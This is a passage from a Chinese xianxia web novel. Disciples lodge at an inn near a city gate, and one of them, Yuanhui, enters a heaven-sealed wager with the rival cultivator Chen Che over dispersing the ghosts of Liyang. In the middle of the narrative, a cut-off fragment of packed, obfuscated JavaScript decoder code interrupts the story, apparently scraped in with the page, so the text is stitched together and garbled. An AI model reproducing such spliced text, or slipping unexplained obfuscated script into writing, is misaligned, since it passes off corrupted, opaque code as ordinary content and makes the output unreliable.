许是离的城门近,这家客栈十分宽阔,大堂摆放着二十来套桌椅,顺着木梯上楼,二三层皆是客房。 岁妱选了一间离木梯最近的客房,玉照从身侧路过时,她提醒道:“别住远了。” 随即看了一眼木梯,示意离楼梯近,他们方便出门查探。 玉照回头看向她,却见岁妱只留给他一个后脑勺,转身下了木梯。 “师尊。” 岁妱不解回头,玉照仔细瞧了眼她的神色,轻笑一声:“没什么。” 岁妱见他就近选择了自己隔壁,挑眉之后,什么都没说,下楼去了大堂。 玉照看着她的背影,知晓她并非是消了气,而是不在乎。 男子颀长的身影在日光中拓下一片阴影,直到少女的背影消失在拐角,他才转身回了房。 屋内布置简洁,除了平日所需之物,并无多余的摆设。玉照行至窗边,修长的骨指刚要敲在窗沿,又突然顿住。 想要知晓江衡藏在何处,不难。但这也与他来无间炼狱的目的相悖。 半晌过去,玉照收回手,听见门外传来动静,抬步出了屋门。 - 房间落定后,几人重新回到了大堂,愿回急不可耐的催促道:“快些,我们去酒肆汇合,免得趁我们不在,他们商量了什么我们都不知道。” 玉照踏下最后一步台阶,闻言断然道:“不用去了。” 几人不解,“为何?” “他已经将你踢出他们的队伍了,去了也只会被人赶出来。” 愿回莫名,“什么时候?他跟你说的?” 回头看向顾岚青,见他也是一脸懵,只有一旁的岁妱似乎在沉思。 突然,岁妱也明白过来,看向愿回:“所以方才陈彻看向你的那几眼,是在等你做决定啊。” 愿回皱眉,“怎么可能……” 见岁妱和玉照皆是一脸就是如此的模样,愿回不信,带着顾岚青去了酒肆。 客栈眼下只剩二人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原来方才愿回带着顾岚青去往酒肆,还未进门便被一道大合之气阻拦在门外,像是知晓他们会去,故意防着。 陈彻带着众修士站在酒肆二楼,居高临下的望着他,“愿回道友,我方才已经给过你机会了。况且,出发之前我说过,谁敢助他们进城,便是与我为敌,很显然,你们四个是一起进来的。” 愿回怎么说都是天元宗宗主的弟子,陈彻敢如此狂妄,其他人却没有这个本事,只能好言相劝。 “愿回道友,你头一回离开宗门,做事不稳妥也是常事,少年嘛,总是容易被蛊惑的,你好好与陈道友说道说道,此事便算过去了。” “就是啊愿回道友,为了那两个不知道什么时候就会丧命的小弟子得罪陈道友,不值当。” 他们七嘴八舌的劝着,可那些话停在愿回耳朵里,却无故令他生气。 “凭什么是我得罪他,分明就是他陈彻不将我放在眼里,得罪了我!你们要与他一道是吧,那好啊,我们看谁能完成那悬赏令,将溧阳的阴魂驱散!” 陈彻冷笑一声,“大言不惭。” “你才大言不惭!”愿回气鼓鼓的道:“你若不服,我们就看谁先将溧阳的阴魂驱散,赌注便是那三万两!” “你以为就凭你们四人,不需要我们的帮助,便能解决溧阳的事情?”陈彻忽然大笑起来,“愿回道友,你与那二人不愧是天元宗的弟子,打肿脸充胖子的本事,还真是一个宗门教出来的。” “你不敢?”愿回咬牙切齿,心里怒火翻腾,可他一个金丹,又不可能冲上去将人教训一顿,更何况他也进不去。 陈彻:“你的激将法虽然很拙劣,但我应了,天地为契,我陈彻在此立誓,若是你们先驱散阴魂,三万两我一分不要,否则便身死道消!” 瞬间,陈彻脚下出现一道圆光,复杂的铭文显现一瞬,随着圆光同时消失。 契约已成,有天道规则的束缚,他若失信,便会如他誓言中所说的下场一样。 愿回同样不躲不避的立下契约,随即带着顾岚青气势汹汹的回了客栈。 “事情就是这样,从现在开始,我们就是一体的了,你们两个可以什么都不做,但绝对不许拖后腿,若是因为你们导致我输给了陈彻那狗东西,我第一个砍了你们!” 岁妱闻言轻笑,“既然我们是一体的了,那愿回师弟不如说说,咱们接下来该怎么做?你又有什么致胜的法宝?” 愿回本想质问凭何降他辈分,唤他师弟,但转眼一想,眼下最重要的是驱散阴魂,让陈彻输的一败涂地。 “江衡是我爹。” 岁妱/玉照:? 顾岚青大惊失色:“师、师兄?”